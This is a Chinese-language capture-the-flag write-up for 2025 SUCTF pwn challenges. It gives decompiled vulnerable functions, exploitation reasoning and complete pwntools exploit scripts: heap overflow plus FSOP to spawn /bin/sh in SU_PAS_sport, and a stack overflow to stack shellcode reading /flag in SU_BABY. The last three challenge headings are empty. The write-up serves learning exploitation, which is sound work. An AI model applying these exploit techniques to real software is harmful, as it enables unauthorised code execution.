文章

2025 SUCTF

SU_PAS_sport

1
2
3
4
5
6
[*] '/mnt/hgfs/ctf/2025suctf/passport/chall'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

仅有NX

漏洞分析

这里用gpt可以快速分析出是pascal语言编写的文件,没有符号表 pascal默认编译参数下为静态且no pie,pascal的字符串会在字符开头存放其长度,逆向起来有一定困难 pascal语言编写的文件有自己的堆管理机制,chunk的头部大小为0x20字节,userdata前面的8字节为size

给了一个功能菜单 opengate 打开新句柄(/dev/urandom)分别可以以byte方式打开,以text方式打开 closegate 关闭打开的句柄 createocean 创建一个堆空间size小于0x400,如果之前有则会释放 pulldata 从打开的句柄中输入数据到堆空间中,分别可以选择byte方式和text方式输入

这里不能直接通过text方式进行pulldata,会报错退出,原因是会检查输入内容,只接受1、2等数字输入,但仍然能将不合规范的内容写入地址中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
void __fastcall __noreturn sub_401E40(__int64 a1)
{
  void *v1; // rdi
  __int64 v2; // rbx
  int *v3; // rbx
  __int16 v4; // [rsp+8h] [rbp-8h] BYREF

  sub_418080(a1);
  ocean = 0LL;
  size = 0;
  bytegate = 0LL;
  bytegate_use = 0;
  textgate = 0LL;
  textgate_use = 0;
  while ( 1 )
  {
    menu(a1);
    if ( qword_480880 )
      v1 = qword_480880(dword_47E9A0);
    else
      v1 = &unk_47E9A8;
    sub_41CD70(v1);
    sub_417EE0();
    v2 = sub_41D9A0(v1);
    readln(v2, &v4);
    sub_417EE0();
    choice = v4;
    a1 = v2;
    sub_41F7C0(v2);
    sub_417EE0();
    if ( choice < 1 )
    {
LABEL_15:
      v3 = sub_41D9E0();
      sprintf(0, v3, &unk_45B2D0);
      sub_417EE0();
      a1 = v3;
      sub_41DC80(v3);
      sub_417EE0();
    }
    else
    {
      switch ( choice )
      {
        case 1:
          opengate();
          break;
        case 2:
          closegate();
          break;
        case 3:
          createocean();
          break;
        case 4:
          pulldata();
          break;
        default:
          goto LABEL_15;
      }
    }
  }
}

漏洞点在createocean功能中size参数用了一个全局变量去存储,且用全局变量进行if比较,导致在连续申请ocean过程中,后面不符合小于0x400大小规范的ocean申请也能修改全局变量size,结合pulldata功能存在堆溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
unsigned int *createocean()
{
  int *v0; // rbx
  void *v1; // rdi
  __int64 v2; // rbx
  int *v3; // rbx
  int *v5; // rbx
  __int16 v6; // [rsp+8h] [rbp-8h] BYREF

  v0 = sub_41D9E0();
  sprintf(0, v0, "(Please input the size of the data ocean.");
  sub_417EE0();
  sub_41DC80(v0);
  sub_417EE0();
  if ( qword_480880 )
    v1 = qword_480880(dword_47E9A0);
  else
    v1 = &unk_47E9A8;
  sub_41CD70(v1);
  sub_417EE0();
  v2 = sub_41D9A0(v1);
  readln(v2, &v6);
  sub_417EE0();
  size = v6;
  sub_41F7C0(v2);
  sub_417EE0();
  if ( size <= 0x400 )
  {
    if ( ocean )
      sub_4192D0(ocean);
    sub_419210(&ocean, size);
    v5 = sub_41D9E0();
    sprintf(0, v5, &unk_45B158);
    sub_417EE0();
    sub_41DC80(v5);
    return sub_417EE0();
  }
  else
  {
    v3 = sub_41D9E0();
    sprintf(0, v3, &byte_45B140);
    sub_417EE0();
    sub_41DC80(v3);
    return sub_417EE0();
  }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
__int64 __fastcall pulldata()
{
  char v0; // bl
  int v1; // edi
  int v2; // edx
  int v3; // ecx
  int v4; // r8d
  int v5; // r9d
  int v6; // eax
  int *v7; // rsi
  int *v8; // rbx
  void *v9; // rdi
  __int64 v10; // rbx
  int *v11; // rsi
  int *v12; // rbx
  int *v13; // rbx
  int *v14; // rbx
  void *v15; // rdi
  __int64 v16; // rbx
  int *v17; // rsi
  int *v18; // rbx
  int *v19; // rsi
  __int16 v20; // bx
  __int64 v21; // r12
  int *v22; // rsi
  int *v23; // rbx
  __int16 v24; // bx
  int *v25; // r12
  int *v26; // r12
  int *v27; // r12
  int *v28; // rdi
  __int64 result; // rax
  __int64 v30; // [rsp+10h] [rbp-90h] BYREF
  int v31; // [rsp+18h] [rbp-88h]
  __int64 v32; // [rsp+20h] [rbp-80h] BYREF
  __int16 v33; // [rsp+28h] [rbp-78h] BYREF
  __int64 v34; // [rsp+30h] [rbp-70h]
  _BYTE v35[64]; // [rsp+38h] [rbp-68h] BYREF
  _BYTE v36[28]; // [rsp+78h] [rbp-28h] BYREF
  __int16 v37; // [rsp+94h] [rbp-Ch]
  __int16 v38; // [rsp+98h] [rbp-8h]
  __int16 v39; // [rsp+9Ch] [rbp-4h]

  v32 = 0LL;
  v1 = sub_414C80(1LL, v35, v36);
  v6 = sub_402AB0(v1, v35, v2, v3, v4, v5, v0);
  v34 = v6;
  if ( v6 )
    goto LABEL_35;
  if ( !ocean )
  {
    v7 = sub_41D9E0();
    sprintf(0, v7, &unk_45B170);
    sub_417EE0();
    sub_41DC80(v7);
    sub_417EE0();
    goto LABEL_35;
  }
  v8 = sub_41D9E0();
  sprintf(0, v8, &unk_45B188);
  sub_417EE0();
  sub_41DC80(v8);
  sub_417EE0();
  if ( qword_480880 )
    v9 = qword_480880(dword_47E9A0);
  else
    v9 = &unk_47E9A8;
  sub_41CD70(v9);
  sub_417EE0();
  v10 = sub_41D9A0(v9);
  readln(v10, &v33);
  sub_417EE0();
  v39 = v33;
  sub_41F7C0(v10);
  sub_417EE0();
  if ( v39 > size )
  {
    v11 = sub_41D9E0();
    sprintf(0, v11, &unk_45B198);
    sub_417EE0();
    sub_41DC80(v11);
    sub_417EE0();
    goto LABEL_35;
  }
  v12 = sub_41D9E0();
  sprintf(0, v12, "\vWhich gate?");
  sub_417EE0();
  sub_41DC80(v12);
  sub_417EE0();
  v13 = sub_41D9E0();
  sprintf(0, v13, &unk_45B010);
  sub_417EE0();
  sub_41DC80(v13);
  sub_417EE0();
  v14 = sub_41D9E0();
  sprintf(0, v14, &unk_45B020);
  sub_417EE0();
  sub_41DC80(v14);
  sub_417EE0();
  if ( qword_480880 )
    v15 = qword_480880(dword_47E9A0);
  else
    v15 = &unk_47E9A8;
  sub_41CD70(v15);
  sub_417EE0();
  v16 = sub_41D9A0(v15);
  readln(v16, &v33);
  sub_417EE0();
  v37 = v33;
  sub_41F7C0(v16);
  sub_417EE0();
  if ( v37 < 1 )
    goto LABEL_25;
  if ( v37 == 1 )
  {
    if ( !bytegate_use )
    {
      v17 = sub_41D9E0();
      sprintf(0, v17, "\x1BThe gate of byte is closed.");
      sub_417EE0();
      sub_41DC80(v17);
      sub_417EE0();
      goto LABEL_35;
    }
    sub_4217E0(bytegate, ocean, v39);
    sub_417EE0();
  }
  else
  {
    if ( v37 != 2 )
    {
LABEL_25:
      v22 = sub_41D9E0();
      sprintf(0, v22, &unk_45B098);
      sub_417EE0();
      sub_41DC80(v22);
      sub_417EE0();
      goto LABEL_35;
    }
    v18 = sub_41D9E0();
    sprintf(0, v18, &unk_45B1B8);
    sub_417EE0();
    sub_41DC80(v18);
    sub_417EE0();
    if ( !textgate_use )
    {
      v19 = sub_41D9E0();
      sprintf(0, v19, "\x1BThe gate of text is closed.");
      sub_417EE0();
      sub_41DC80(v19);
      sub_417EE0();
      goto LABEL_35;
    }
    v20 = v39 - 1;
    if ( (v39 - 1) >= 0 )
    {
      v38 = -1;
      do
      {
        ++v38;
        v21 = textgate;
        sub_420290(textgate, &v33);
        sub_417EE0();
        *(ocean + v38) = v33;
        sub_41F7A0(v21);
        sub_417EE0();
      }
      while ( v20 > v38 );
    }
  }
  v23 = sub_41D9E0();
  sprintf(0, v23, &unk_45B1F0);
  sub_417EE0();
  sub_41E660(0LL, v23, v39);
  sub_417EE0();
  sprintf(0, v23, byte_45B208);
  sub_417EE0();
  sub_41DC80(v23);
  sub_417EE0();
  v24 = v39 - 1;
  if ( (v39 - 1) >= 0 )
  {
    v38 = -1;
    do
    {
      ++v38;
      v25 = sub_41D9E0();
      v31 = *(ocean + v38);
      v30 = 0LL;
      (sub_433AB0)(&v32, "%2.2x", &v30);
      sub_41E2F0(0LL, v25, v32);
      sub_417EE0();
      sub_41DC60(v25);
      sub_417EE0();
      if ( (v38 + 1LL) % 16 == 8 )
      {
        v26 = sub_41D9E0();
        sub_41ECE0(0LL, v26, 58LL);
      }
      else
      {
        v26 = sub_41D9E0();
        sub_41ECE0(0LL, v26, 32LL);
      }
      sub_417EE0();
      sub_41DC60(v26);
      sub_417EE0();
      if ( !((v38 + 1LL) % 0x10) )
      {
        v27 = sub_41D9E0();
        sub_41DC80(v27);
        sub_417EE0();
      }
    }
    while ( v24 > v38 );
  }
  v28 = sub_41D9E0();
  sub_41DC80(v28);
  sub_417EE0();
LABEL_35:
  sub_414FB0();
  sub_40BC10(&v32);
  result = v34;
  if ( v34 )
    return sub_415140();
  return result;
}

利用思路

pascal的文件结构体在内存的结构如下(申请text时):

1
2
3
4
5
6
7
0x00007f4de4009610     0000d7b1 00000004  0000000000000100  (Handle, Mode, RecSize)
0x00007f4de4009620     0000000000000000  0000000000000000  
0x00007f4de4009630     0000000000000000  00007f4de4009884  (buf)
0x00007f4de4009640     000000000041c710  000000000041c680  (open, read)
0x00007f4de4009650     0000000000000000  000000000041c660  (write, close)
0x00007f4de4009660     0000000000000000  0000000000000000  
0x00007f4de4009670     0000000000000000  0000000000000000  

结合上方堆块的溢出,就可以任意写文件结构体的内容实现FSOP

1
2
3
4
5
00007f2bdcc30610     0000d7b100000004 0000000000000100 
00007f2bdcc30620     000000000045ee70 0000000000000000 (bin_sh_addr(rdi))
00007f2bdcc30630     ffffffffffffffff 0000000000480f90 ((rdx), (rsi)))
00007f2bdcc30640     0000000000480f80 00000000004530a7 ((rsp), execl_gadget)
00007f2bdcc30650     0000000000000000 0000000000402aef (longjmp_gadget)

结合longjmp_gadget,把文件结构体里写的地址转换为最后执行函数参数

1
2
3
* rdi << r12 << [rdi + 0x10]
* rsi << r15 << [rdi + 0x28]
* rdx << r14 << [rdi + 0x20]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
.text:0000000000402AE0 sub_402AE0      proc near               ; CODE XREF: sub_414E80+118↓p
.text:0000000000402AE0                                         ; sub_415140+60↓p
.text:0000000000402AE0                 cmp     esi, 1
.text:0000000000402AE3                 adc     esi, 0
.text:0000000000402AE6                 mov     eax, esi
.text:0000000000402AE8                 mov     rbx, [rdi]
.text:0000000000402AEB                 mov     rbp, [rdi+8]
.text:0000000000402AEF                 mov     r12, [rdi+10h] *通过rdi为寄存器赋值*
.text:0000000000402AF3                 mov     r13, [rdi+18h]
.text:0000000000402AF7                 mov     r14, [rdi+20h]
.text:0000000000402AFB                 mov     r15, [rdi+28h]
.text:0000000000402AFF                 mov     rsp, [rdi+30h]
.text:0000000000402B03                 jmp     qword ptr [rdi+38h]


.text:00000000004530A7                 mov     rsi, r15
.text:00000000004530AA                 mov     rdx, r14
.text:00000000004530AD                 mov     rdi, r12
.text:00000000004530B0                 call    sub_454D50 *excel*

关于excel参数的布置,第一个参数设置为”/bin/sh”字符串的地址,第二个参数设置为一个指向空指针的地址(addr->any_addr->null),第三个参数设置为-1 这样最终执行到execve(“/bin/sh”,[“/bin/sh”],PATH_addr)

这里excel没有符号表比较难确认,除此以外0x456184也可以执行execve,直接执行时会报错 主要原因是存在一个空参数,这里最终执行到execve(“/bin/sh”, [“/bin/sh”, “-c”, “”], 0x7ffcac000608)

1
2
3
4
5
v23[0] = &aC_0;
v23[1] = a2;
sub_40C720(v24, "/bin/sh", 0LL);
sub_454D50(v24[0], v23, 1LL);
sub_402F50(127LL);

将0x47f920劫持为需要执行的命令即可,通过修改text文件结构体文件描述符为0和覆盖text文件结构体的bufptr,再结合pulldata功能,就能实现任意地址写,但是text输入后存在校验,所以需要绕过校验

1
2
3
4
5
6
7
8
9
10
11
12
► 0x402045    syscall  <SYS_execve>
        path: 0x7f0606381118 ◂— 0x68732f6e69622f /* '/bin/sh' */
        argv: 0x7f0606381180 —▸ 0x7f0606381118 ◂— 0x68732f6e69622f /* '/bin/sh' */
        envp: 0x7ffeaf106fc8 —▸ 0x7ffeaf1090c3 ◂— 'ALL_PROXY=socks://192.168.121.1:7897/'

pwndbg> tel 0x7f0606381180
00:0000│ rsi r8 r12 0x7f0606381180 —▸ 0x7f0606381118 ◂— 0x68732f6e69622f /* '/bin/sh' */
01:0008│            0x7f0606381188 —▸ 0x45ee50 ◂— 0x632d /* '-c' */
02:0010│            0x7f0606381190 —▸ 0x47f920 ◂— 0x0
03:0018│            0x7f0606381198 ◂— 0x0
... ↓               3 skipped
07:0038│            0x7f06063811b8 ◂— 0x1b8041

控制RIP的方式比较多,除了FSOP,也可以利用任意地址写劫持程序中的一些hook函数,由于text的校验导致的退出也可以修改exit_hook(0x47E520)为主函数逻辑实现多次任意地址写

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
# _*_ coding:utf-8 _*_
from pwn import *
import re
import os, struct, random, time, sys, signal
import hashlib
from hashlib import sha256

# p = remote("","") #typ="udp"
# p = process("./chall")
elf = ELF("./chall")
libc = elf.libc

context.log_level = "debug" # info
context.arch = elf.arch
context.terminal = ['tmux', 'splitw', '-hp','64']

#-----------------------------------------------------------------------------------------
s       = lambda data               :p.send(str(data).encode())
sa      = lambda text,data          :p.sendafter(text, str(data).encode())
sl      = lambda data               :p.sendline(str(data).encode())
sla     = lambda text,data          :p.sendlineafter(text, str(data).encode())
r       = lambda num=4096           :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
ia      = lambda                    :p.interactive()
hs256   = lambda data               :sha256(str(data).encode()).hexdigest()
l32     = lambda                    :u32(p.recvuntil(b"\xf7")[-4:].ljust(4,b"\x00"))
l64     = lambda                    :u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
uu32    = lambda                    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda                    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data               :int(data,16)
lg      = lambda s                  :p.success('%s -> 0x%x' % (s, eval(s)))
# sc      = lambda                    :shellcraft.amd64.linux.sh()
#-----------------------------------------------------------------------------------------
def dbg(breakpoint=''):
    elf_base = int(os.popen('pmap {}| awk \x27\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
    script = 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
    gdb.attach(p,script)
    pause()

def opengate(choice):
    sla(b"choice >",1)
    sla(b"Which gate?",choice)


def closegate(choice):
    sla(b"choice >",2)
    sla(b"Which gate?",choice)

def createocean(size):
    sla(b"choice >",3)
    sla(b"Please input the size of the data ocean.",size)

def pulldata(size,gate):
    sla(b"choice >",4)
    sla(b"How much data?",size)
    sla(b"Which gate?",gate)

cnt = 0

def pwn():
    global p,cnt

    p = process("chall")
    bytegate = 0x47E540
    textgate = 0x47E550
    # dbg('b *0x4019e1\nc\n')
    # dbg('b *0x4019DC\nc\nb *0x402047\nc\nset *($rsi+0x420)=0\ndel 2\n')
    createocean(0x400)
    createocean(0xf00)
    opengate(1)
    opengate(2)
    pulldata(0x421,1)
    s = p.recvuntil(b"**")[-6:-2]
    if s != b"00 \n":
        cnt += 1
        print("[*]",s.decode()[0:2])
        raise ValueError("Failed")	
    print("[*]",s.decode()[0:2])

    pay = b'\x00'*0x408+p64(0x420)+p64(0x480678)+p64(0x2a2)+p64(0x0000d7b300000000)+p64(1)
    pay = pay.ljust(0x6a8,b'\x00')+p64(0x2a0)+p64(0x480678)+p64(0x3a2)
    pay += p64(0x000d7b100000000)+p64(0x000000000000100)
    pay += p64(0)*3+p64(0x47f918)# execve shell arg
    pulldata(len(pay),1)
    ru(b"gate of text")
    p.send(pay)
    pay = b'1'.ljust(8,b'\x00')+b'/bin/sh\x00'
    pulldata(str(1),2)
    ru(b"Oops, maybe the sea")
    p.send(pay)

    pay = b'\x00'*0x408+p64(0x420)+p64(0x480678)+p64(0x2a2)+p64(0x0000d7b300000000)+p64(1)
    pay = pay.ljust(0x6a8,b'\x00')+p64(0x2a0)+p64(0x480678)+p64(0x3a2)
    pay += p64(0x000d7b100000004)+p64(0x000000000000100)
    pay += p64(0)*7
    pay += p64(0x0456184)# close_func

    pulldata(len(pay),1)
    ru(b"gate of text")
    p.send(pay)
    # dbg(0x402045) # syscall execve
    closegate(2)
    ia()
    
for i in range(10000):
        try:
            pwn()
            break
        except ValueError as e:
	        print(f"Attempt {cnt+1}: {e}")
	        p.close()
	        cnt += 1
        p.close()

看wp学习了一个strace最终函数参数的方法

1
sudo strace -p [pid of ./chall] -e trace=execve

SU_BABY

1
2
3
4
5
6
7
8
[*] '/mnt/hgfs/ctf/2025suctf/SUBABY/ASU1'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0x3ff000)
    RWX:      Has RWX segments
    RUNPATH:  b'/home/ef4tless/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/'

栈可执行

漏洞分析

程序在开始时开了沙箱,ORW的白名单。主要逻辑是一个特征码库检测文件的菜单题 主要漏洞点在case8,会用strlen来统计输入content长度来确定下一次输入的位置(通过下标idx),如果输入的数据>=8字节就会造成溢出和下一个地址上存放的栈地址一同被strlen统计变成0xf,导致可以往更远的地址写入内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
unsigned __int64 __fastcall add_files(files *a1, unsigned int *file_cnt)
{
  int v3; // [rsp+1Ch] [rbp-64h] BYREF
  int idx; // [rsp+20h] [rbp-60h]
  int i; // [rsp+24h] [rbp-5Ch]
  int con_size; // [rsp+28h] [rbp-58h]
  int len_con; // [rsp+2Ch] [rbp-54h]
  char con[16]; // [rsp+30h] [rbp-50h] BYREF
  char file_name[16]; // [rsp+40h] [rbp-40h] BYREF
  char filecon[40]; // [rsp+50h] [rbp-30h] BYREF
  unsigned __int64 v11; // [rsp+78h] [rbp-8h]

  v11 = __readfsqword(0x28u);
  v3 = 0;
  con_size = 0;
  len_con = 0;
  idx = 0;
  printf("此时存在的文件数量 %d 个\n", *file_cnt);        
  puts("需要添加几组模拟文件数据:");
  __isoc99_scanf("%d", &v3);
  getchar();
  for ( i = 0; i < v3; ++i )
  {
    if ( *file_cnt > 11 )
    {
      puts("文件数组已满,无法添加更多文件。");
      return __readfsqword(0x28u) ^ v11;
    }
    puts("请输入文件名称");
    fgets(file_name, 0x10, stdin);
    file_name[strcspn(file_name, "\n")] = 0;
    strcpy(&a1[*file_cnt].file_name, file_name);
    puts("请输入文件内容");
    con_size = read(0, con, 9uLL);
    strncpy(&filecon[idx], con, con_size);
    len_con = strlen(con);
    idx += len_con + 1;
    strcpy(&a1[*file_cnt].file_con, filecon);
    ++*file_cnt;
    puts("添加成功");
  }
  return __readfsqword(0x28u) ^ v11;
}

相应的在case9输出添加的文件时,溢出同样能带出栈上的一些地址

1
2
3
4
5
6
7
8
9
10
11
unsigned __int64 __fastcall display_files(files *a1, int a2)
{
  int i; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  printf("此时存在的文件数量 %d 个\n", a2);
  for ( i = 0; i < a2; ++i )
    printf("文件名: %s 文件内容: %s\n", &a1[i].file_name, &a1[i].file_con);
  return __readfsqword(0x28u) ^ v4;
}

在特征码的add与show中同样存在这样的问题

1
2
3
4
5
6
7
8
9
10
11
unsigned __int64 __fastcall display_sigdb(code *a1, int a2)
{
  int i; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  puts("特征码数据库:");
  for ( i = 0; i < a2; ++i )
    printf("ID: %d, 名称: %s, 特征码: %s\n", *&a1[i].id, &a1[i].name, &a1[i].code);
  return __readfsqword(0x28u) ^ v4;
}

程序中还有一个后门函数,能够在栈上输入0xc长度的内容,同时跳转到任意地址执行,结合栈可执行,这里可以在栈上布局

1
2
3
4
5
6
7
8
9
10
11
12
13
unsigned __int64 attack()
{
  _BYTE buf[40]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v2; // [rsp+28h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Good opportunity");
  read(0, buf, 0xCuLL);
  puts("What do you want to do?");
  read(0, tar, 9uLL);
  shellcode(tar);
  return __readfsqword(0x28u) ^ v2;
}

利用思路

要通过后门函数到栈上执行,就需要栈地址,这里可以利用特征码的add与show,带出栈上存放的栈地址。同理用files的add与show能带出libc地址(没有用上) 由于程序有canary,结合能在栈上跳着输入内容的漏洞点,可以构造idx来绕过canary的地址进而劫持返回地址为后门函数 这里特征码也是存在栈上的,且就在返回地址下方,但是0x30的长度并不够,且有函数对特征码进行处理遇到\x00会截断,所以还是跳转到后门函数 利用0xc的大小把read的汇编读到栈上,进而在栈上读入完整的shellcode,然后连贯执行到栈上的shellcode即可

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
# _*_ coding:utf-8 _*_
from pwn import *
import re
import os, struct, random, time, sys, signal
import hashlib
from hashlib import sha256

# p = remote("","") #typ="udp"
p = process("./ASU1")
elf = ELF("./ASU1")
libc = elf.libc

context.log_level = "debug" # info
context.arch = elf.arch
context.terminal = ['tmux', 'splitw', '-hp','64']

#-----------------------------------------------------------------------------------------
s       = lambda data               :p.send(str(data).encode())
sa      = lambda text,data          :p.sendafter(text, str(data).encode())
sl      = lambda data               :p.sendline(str(data).encode())
sla     = lambda text,data          :p.sendlineafter(text, str(data).encode())
r       = lambda num=4096           :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
ia      = lambda                    :p.interactive()
hs256   = lambda data               :sha256(str(data).encode()).hexdigest()
l32     = lambda                    :u32(p.recvuntil(b"\xf7")[-4:].ljust(4,b"\x00"))
l64     = lambda                    :u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
uu32    = lambda                    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda                    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data               :int(data,16)
lg      = lambda s                  :p.success('%s -> 0x%x' % (s, eval(s)))
# sc      = lambda                    :shellcraft.amd64.linux.sh()
#-----------------------------------------------------------------------------------------
def dbg(breakpoint=''):
    elf_base = int(os.popen('pmap {}| awk \x27\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
    script = 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
    gdb.attach(p,script)
    pause()

def add_code(id,name,code):
    sla("选择操作: ", 1)
    sla("输入特征码 ID: ",id)
    p.sendafter("输入病毒名称: ",name)
    p.sendafter("输入特征码值:",code)

def dele_code(id):
    sla("选择操作: ", 2)
    sla("输入要删除的特征码 ID: ",id)

def add_files(num, *file_data):
    sla("选择操作: ", 8)
    sla("需要添加几组模拟文件数据:", num)
    for name,con in file_data:
        sla("请输入文件名称", name)
        p.sendafter("请输入文件内容", con)
        
def query(code):
    sla("选择操作: ", 5)
    sla("入特征码值查询感染文件: ",code)

def show_files():
    sla("选择操作: ",9)
    
read = asm(
'''
    xor edi, edi
    xchg rsi, rdx
    add rsi, 0xb
    syscall
''')

pay = asm(shellcraft.open(('/flag')))
pay += asm(shellcraft.read(3,'rsp',0x100)) 
pay += asm(shellcraft.write(1,'rsp',0x100)) 
shellcode = pay

jmp_rsp = 0x000000000040327f
attack = 0x400F56

# dbg(0x4024BA)
add_code(2,b'b'*8,b'a'*0x2a)
query('a')
ru(b"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")
stack_addr = l64()
lg("stack_addr")

add_files(1,('a'*0x8,'b'*8))
show_files()
ru(b"bbbbbbbb")
libc_base = l64()-(0x7f58f5ff4b0a-0x7f58f5f74000)-8
lg("libc_base")
# dbg(attack)
add_files(6,('c'*0x8,b'a'*9),('c'*0x8,b'b'*9),('e'*0x8,b'c'*8+b'\x00'),('g'*0x8,b'd'*1),('c'*0x8,b'a'*7+b'\x00'),('c'*0x8,p64(attack)))
p.sendafter(b"Good opportunity",read)
p.sendafter(b"What do you want to do?",p64(stack_addr-0x00b278))

p.send(shellcode)
ia()

SU_text

漏洞分析

利用思路

SU_JIT16

漏洞分析

利用思路

SU_msg_cfgd

漏洞分析

利用思路

本文由作者按照 CC BY 4.0 进行授权

热门标签